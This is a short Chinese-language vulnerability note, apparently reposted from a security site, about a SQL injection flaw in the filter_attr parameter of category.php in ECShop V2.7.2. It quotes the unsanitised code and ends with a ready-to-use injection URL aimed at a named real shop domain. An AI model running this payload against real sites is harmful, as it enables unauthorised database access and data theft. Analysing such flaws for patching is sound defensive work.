ECSHOP商城系统category页面过滤不严导致SQL注入漏洞

影响版本:
ECShop V2.7.2 UTF8_Release0505

漏洞分析:文件 category.php
$filter_attr_str = isset($_REQUEST['filter_attr']) ? trim($_REQUEST['filter_attr']) : '0';  //52行
$filter_attr = empty($filter_attr_str) ? '' : explode('.', trim($filter_attr_str));
可以看出，变量 $filter_attr_str 是以“.” 分开的数组。

//308行
/* 扩展商品查询条件 */
        if (!empty($filter_attr))
        {
            $ext_sql = "Select DISTINCT(b.goods_id) FROM " . $ecs->table('goods_attr') . " AS a, " . $ecs->table('goods_attr') . " AS b " .  "Where ";
            $ext_group_goods = array();

            foreach ($filter_attr AS $k => $v)                      // 查出符合所有筛选属性条件的商品id */
            {
                if ($v != 0)
                {
                    $sql = $ext_sql . "b.attr_value = a.attr_value AND b.attr_id = " . $cat_filter_attr[$k] ." AND a.goods_attr_id = " . $v;
                    $ext_group_goods = $db->getColCached($sql);
                    $ext .= ' AND ' . db_create_in($ext_group_goods, 'g.goods_id');
                }
            }
        }
$v 没有作任何处理就加入了SQL查询，造成SQL注入。
漏洞利用:
http://www.xiaoweio.cn/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999 or 1=1 and exists(select * from admin)

摘自红黑联盟